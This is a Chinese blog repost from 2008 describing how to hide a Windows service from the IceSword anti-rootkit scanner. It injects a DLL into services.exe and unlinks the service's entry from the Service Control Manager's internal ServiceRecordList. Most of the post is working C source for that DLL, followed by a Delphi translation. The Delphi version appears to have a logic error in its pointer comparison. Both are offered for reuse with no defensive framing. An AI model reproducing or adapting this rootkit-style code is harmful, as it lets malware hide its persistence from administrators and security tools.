在icesword下隐藏服务[转自CoolDiyer's Blog ]

上次看到wineggdrog有在讨论icesword是如何检测服务的。
 
虽然我不知道icesword是什么样列举服务的,但估计最终也是通过历遍SCM内部的ServiceRecordList来检测。
 
为什么呢?看下面。
 
用附件中的InjectDLL.exehideservice.dll注入到Services.exe进程后就会把Alerter服务隐藏掉。用icesword也检测不出Alerter服务了。
 
代码原理很简单,就是在Services.exe进程找到ServiceRecordList表,将需要隐藏的服务从链表上断开。
 
既然icesword也检测不出了,那就说明icesword最终也是通过历遍SCM内部的ServiceRecordList来检测.
 
好像最先是听到EVA讲的。
 
以下是dll的代码,网上找到的,拿来就用。
 
Codz:
 
#include <stdio.h>
 
#include <windows.h>
 
#include <string.h>  


 
typedef struct _FAKE_SERVICE_RECORD {
     
struct _FAKE_SERVICE_RECORD  *Prev;          // linked list
     
struct _FAKE_SERVICE_RECORD  *Next;          // linked list
     LPWSTR                  
ServiceName;    // points to service name
     LPWSTR                  
DisplayName;    //
 
} FAKE_SERVICE_RECORD, *PFAKE_SERVICE_RECORD, *LPFAKE_SERVICE_RECORD;

 
void seArchDWORD(int Addr);
 BOOL WINAPI
DllMain(HINSTANCE hinstDLL,DWORD fdwReAson,LPVOID lpvReserved)
 
{
 
switch (fdwReAson){
   
 
case DLL_PROCESS_ATTACH:
   
{  
    FILE
* pFile;
    pFile
= fopen("c:\\seArch.txt","a+");
    fputs
("begin\n",pFile);
    fclose
(pFile);
   
int i;
   
for (i = 0x300000;i<0x5000000;i+=4){
     printf
("%x\n",i);
     __try
{
     
if (0 == wcscmp((const unsigned short *)i,L"Alerter")){
       
char temp [32];
       sprintf
(temp,"found Alerter At: %x\n",i);
       FILE
* pFile;
       pFile
= fopen("c:\\seArch.txt","a+");
       fputs
(temp,pFile);
       fclose
(pFile);
       seArchDWORD
(i);
       
//break;
     
}
     
}
     __except
(EXCEPTION_EXECUTE_HANDLER ){
      printf
("error\n");
      i
-=4;
      i
+= 0x1000;
     
//_getche();
     
}
   
}

 
   
}
 
case DLL_THREAD_ATTACH:
   
break;
 
case DLL_THREAD_DETACH:
   
break;
 
case DLL_PROCESS_DETACH:
   
break;
 
}
 
return TRUE;
 
}
 
//--------------------------------------------------------------------
 
void seArchDWORD(int Addr)
 
{
 
int i;
 
for (i = 0x300000;i<0x5000000;i+=4){
   printf
("%x\n",i);
   __try
{
   
if (Addr == *(ULONG*)i){
     
char temp [32];
     sprintf
(temp,"found the point At: %x\n",i);
     FILE
* pFile;
     pFile
= fopen("c:\seArch.txt","a+");
     fputs
(temp,pFile);
     fputws
((const unsigned short *)(*(ULONG*)(i+4)),pFile);
     fputs
("\n",pFile);
     fclose
(pFile);
     
//break;
     
if (0 == wcscmp((const unsigned short *)(*(ULONG*)(i+4)),L"Alerter")){
     
//found the right one
      PFAKE_SERVICE_RECORD pRecord
;
      pRecord
= (PFAKE_SERVICE_RECORD)(i-8);
     
*((DWORD*)pRecord->Prev+1) = (DWORD)(pRecord->Next);
     
*((DWORD*)pRecord->Next) = (DWORD)(pRecord->Prev);
     
}
   
}
   
}
   __except
(EXCEPTION_EXECUTE_HANDLER ){
    printf
("error\n");
    i
-=4;
    i
+= 0x1000;
   
//_getche();
   
}
 
}

 
}
 
{
    Iceword环境下hide service By Anskya
    Email:Anskya@Gmail.com

    感谢zzzzzzzzzzzzzzzEVAzzzzzzzzzzzzzzzzzzzz
    的代码~简单的翻译了一下而已~用法我不说明了自己看着办吧
}
library HideIceword;

uses
    Windows, SysUtils, Classes;

Type
    PFAKE_SERVICE_RECORD = ^FAKE_SERVICE_RECORD;
    FAKE_SERVICE_RECORD = record
      Prev: Pointer;          //    上一个节点
      Next: Pointer;          //    下一个节点
      ServiceName: PWchar;    //    服务名称
      DisplayName: PWchar;    //    别名
    end;

procedure seArchDWORD(dwAddr: DWORD);
var
    dwLoop: DWORD;
    WStrTemp: PWchar;
    lpFakeService: PFAKE_SERVICE_RECORD;
begin
    dwLoop := $300000;
    while True do
    begin
      if dwLoop >= $5000000 then Break;
      try
        if (dwAddr = dwLoop) then
        begin
          OutputDebugString(PChar(Format('Found The Point At: %x', [dwAddr])));
          WStrTemp := PWchar(Pointer(dwLoop + 4));
          OutputDebugString(PChar(Format('ServiceName: %s', [WStrTemp])));
          if WideSameStr(WStrTemp, 'alerter') then
          begin
            lpFakeService := Pointer(dwLoop - 8);
            PPointer(DWORD(lpFakeService^.Prev) + 1)^ := lpFakeService^.Next;
            PPointer(lpFakeService^.Next)^ := lpFakeService^.Prev;
          end;
        end;
        Inc(dwLoop, 4);
      except
        dwLoop := dwLoop - 4;
        dwLoop := dwLoop + $1000;
      end;
    end;
end;

procedure EntryPoint(Reason: dword); stdcall;
var
    dwLoop: DWORD;
begin
    if Reason = DLL_PROCESS_ATTACH then
    begin
      OutputDebugString('Hide Game Start!');
      dwLoop := $300000;
      while True do
      begin
        if dwLoop >= $5000000 then Break;
        try
          if WideSameStr(PWchar(Pointer(dwLoop)), 'alerter') then
          begin
            OutputDebugString(PChar(Format('Service: alerter Address: %x!', [dwLoop])));
            //seArchDWORD(dwLoop);
            Break;
          end;
          Inc(dwLoop, 4);
        except
          dwLoop := dwLoop - 4;
          dwLoop := dwLoop + $1000;
        end;
      end;
      FreeLibraryAndExitThread(HInstance, 0);
    end;
end;

begin
    DLLProc := @EntryPoint;
    EntryPoint(DLL_PROCESS_ATTACH);
end.
posted @ 2008-09-15 18:49  马儿快跑  阅读(939)  评论(0)    收藏  举报